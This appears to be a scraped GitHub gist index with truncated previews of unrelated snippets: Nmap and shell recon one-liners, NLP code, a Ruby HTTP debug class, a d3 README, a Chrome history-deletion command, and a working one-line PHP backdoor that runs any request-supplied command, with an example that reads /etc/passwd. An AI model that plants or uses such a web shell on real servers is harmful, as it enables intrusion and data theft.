View gist:713d9779b9db38cf0771
1 2
osascript -e 'quit app "Google Chrome"'
sqlite3 ~/Library/Application\ Support/Google/Chrome/Default/History "delete from urls where url like '%url_to_nuke%';"
View bitekite.txt
1 2 3 4 5 6 7 8 9 10
stu@redmac ~ $ curl -L --insecure -I https://bitekite.com/~bitekite/terms
HTTP/1.1 301 Bounce
Date: Wed, 06 May 2015 06:10:44 GMT
Server: Apache
Location: /~bitekite/~bitekite/terms
Vary: Accept-Encoding
Content-Type: text/html
 
HTTP/1.1 301 Bounce
Date: Wed, 06 May 2015 06:10:44 GMT
View Simple-Backdoor-One-Liner.php
1 2 3
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
View Nmap-One-Liners.txt
1 2 3 4 5 6 7 8 9 10
# Pull Resolved Hosts From .gnmap Files
grep "Host: " *.gnmap|sed 's/\t/ /g'|tr -s '[:space:]'|cut -d" " -f3|awk '!/\(\)/'|sort -u|sed 's/(//g;s/)//g'
 
# Pull Alive Host IPs Based on Open Port From .gnmap Files
grep "Host:.*Ports:.*/open/" *.gnmap|cut -d" " -f2
 
# Pull Alive Host IPs Based on Status Form .gnmap Files (Varying Results Based On Scan Flags [i.e.: -Pn])
grep "Host:.*Status: Up" *.gnmap|cut -d" " -f2
 
# Common Discovery Scan String (Known RTT)
View Shiv-One-Liners.txt
1 2 3 4 5 6 7 8 9 10
# Sort+Unique IP Addresses
cat IP-List.txt|sort -n -u -t . -k 1,1 -k 2,2 -k 3,3 -k 4,4
 
# Grep IP Addresses in File
egrep '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}' Filename.txt
 
# Dig A Record to CSV (Format: Hostname,IP Address)
for i in `cat Host-List.txt`;do dig +short ${i} a|awk '!/[a-z]/'|sed "s/^/${i},/g";done
 
# Remove Password from PDF
View gist:32ad7813e6e1ed0b77cb
1 2 3 4 5 6 7 8 9 10
id
kickstarter_id
name
slug
blurb
creator
main_category
sub_category
launched_at
deadline
View sli.ipynb
1 2 3 4 5 6 7 8 9 10
{
"metadata": {
"name": "",
"signature": "sha256:dfa83ddb40086ceb5bc1b42f4e376c76e560408ac90e398a200732627ac14996"
},
"nbformat": 3,
"nbformat_minor": 0,
"worksheets": [
{
"cells": [
View sli.py
1 2 3 4 5 6 7 8 9
import math
import nltk
import numpy as np
import pandas as pd
import scipy
from nltk.corpus import stopwords
from scipy import linalg
 
stopwords = stopwords.words('english')
View HTTPartyDebug.rb
1 2 3 4 5 6 7 8 9 10
# HTTParty
require 'httparty'
class HTTPartyDebug
@@capture = StringIO.new
 
include HTTParty
debug_output @@capture
default_timeout 5
def method_missing(m)
View README.md

A visualization of files in the src directory of the d3 repository, based on Reingold-Tilford Tree.

Data Collection

Use git to clone a repository, then du to create a tsv with the directory contents.

git clone git://github.com/mbostock/d3.git
(echo -n 'size\tfile\n'; du -a d3) > d3.tsv

Burrow - recursive nesting

Something went wrong with that request. Please try again.